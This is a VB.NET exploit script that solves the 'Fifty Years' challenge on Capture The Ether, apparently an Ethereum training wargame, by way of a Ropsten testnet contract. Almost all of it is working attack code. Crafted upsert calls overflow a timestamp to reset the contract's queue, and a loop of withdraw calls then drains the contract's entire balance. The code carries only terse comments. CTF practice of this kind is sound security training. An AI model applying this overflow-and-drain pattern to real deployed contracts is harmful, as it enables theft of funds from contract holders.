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Exploit Sequence for Fifty Years challenge on Capture The Ether
Private Async Sub testContract()
Dim privateKey As New Nethereum.Signer.EthECKey("<enterprivatekeyhere>")
Dim account = New Nethereum.Web3.Accounts.Account(privateKey)
' ABI and bytecode of the deployed contract
Dim abi = "[{""constant"":false,""inputs"":[{""name"":""index"",""type"":""uint256""}],""name"":""withdraw"",""outputs"":[],""payable"":false,""stateMutability"":""nonpayable"",""type"":""function""},{""constant"":false,""inputs"":[{""name"":""index"",""type"":""uint256""},{""name"":""timestamp"",""type"":""uint256""}],""name"":""upsert"",""outputs"":[],""payable"":true,""stateMutability"":""payable"",""type"":""function""},{""constant"":true,""inputs"":[],""name"":""isComplete"",""outputs"":[{""name"":"""",""type"":""bool""}],""payable"":false,""stateMutability"":""view"",""type"":""function""},{""inputs"":[{""name"":""player"",""type"":""address""}],""payable"":true,""stateMutability"":""payable"",""type"":""constructor""}]"
Dim iweb3 = New Web3(account, "https://ropsten.infura.io/")
' contract address - Get contract
Dim tokenContractAddress = "0x4723B3521e0f62F48527C3E1C022F95bd1223E52"
Dim tokencontract = iweb3.Eth.GetContract(abi, tokenContractAddress)
Dim gas As New HexBigInteger(100000)
Dim value As New HexBigInteger(0)
Dim gasPrice As New HexBigInteger(5000000000)
Dim maxUIntMinusOneDay As BigInteger = BigInteger.Parse("115792089237316195423570985008687907853269984665640564039457584007913129553536")
Dim setZero As UInt32 = 0
Dim set86400 As UInt32 = 86400
Dim sentValue As UInt32
Dim upsert = tokencontract.GetFunction("upsert")
Dim transactionHash As Object
'first upsert - 1,115792089237316195423570985008687907853269984665640564039457584007913129553536
'send one wei, prepare to overflow timestamp
value = New HexBigInteger(1) '1 wei
sentValue = value.Value
transactionHash = Await upsert.SendTransactionAndWaitForReceiptAsync(account.Address, gas, gasPrice, value, , sentValue, maxUIntMinusOneDay)
'second upset - 2,0
'send two wei
value = New HexBigInteger(2)
sentValue = value.Value
transactionHash = Await upsert.SendTransactionAndWaitForReceiptAsync(account.Address, gas, gasPrice, value, , sentValue, setZero)
'third upsert
value = New HexBigInteger(3)
sentValue = value.Value
transactionHash = Await upsert.SendTransactionAndWaitForReceiptAsync(account.Address, gas, gasPrice, value, , sentValue, set86400)
'fourth upsert
'prepare to overflow timestamp again
value = New HexBigInteger(4)
sentValue = value.Value
transactionHash = Await upsert.SendTransactionAndWaitForReceiptAsync(account.Address, gas, gasPrice, value, , sentValue, maxUIntMinusOneDay)
'fifth upsert
'send 5 wei, set timestamp to 0, which sets head to zero, then we can withdraw bulk of the eth held by the contact
value = New HexBigInteger(5)
sentValue = value.Value
transactionHash = Await upsert.SendTransactionAndWaitForReceiptAsync(account.Address, gas, gasPrice, value, , sentValue, setZero)
Dim withdraw = tokencontract.GetFunction("withdraw")
sentValue = 3
value = New HexBigInteger(0)
'withdraw on index 3
transactionHash = Await withdraw.SendTransactionAndWaitForReceiptAsync(account.Address, gas, gasPrice, value, , sentValue)
'now we no longer need to send ether with our transactions
'check how much balance is left, and loop accordingly (balance - 1)
Dim balance = Await iweb3.Eth.GetBalance.SendRequestAsync(tokenContractAddress)
Dim i As Integer = 0
value = New HexBigInteger(0)
sentValue = value.Value
While i < balance.Value
' prepare to overflow timestamp, overflow so it expires, then withdraw 1 wei. Repeat till empty.
value = New HexBigInteger(0)
sentValue = value.Value
Await upsert.SendTransactionAndWaitForReceiptAsync(account.Address, gas, gasPrice, New HexBigInteger(0), , 0, maxUIntMinusOneDay)
Await upsert.SendTransactionAndWaitForReceiptAsync(account.Address, gas, gasPrice, New HexBigInteger(0), , 0, setZero)
Await withdraw.SendTransactionAndWaitForReceiptAsync(account.Address, gas, gasPrice, value, , sentValue)
i += 1
End While
balance = Await iweb3.Eth.GetBalance.SendRequestAsync(tokenContractAddress)
If balance.Value = 0 Then
Debug.Print("Finally!")
End If
End Sub
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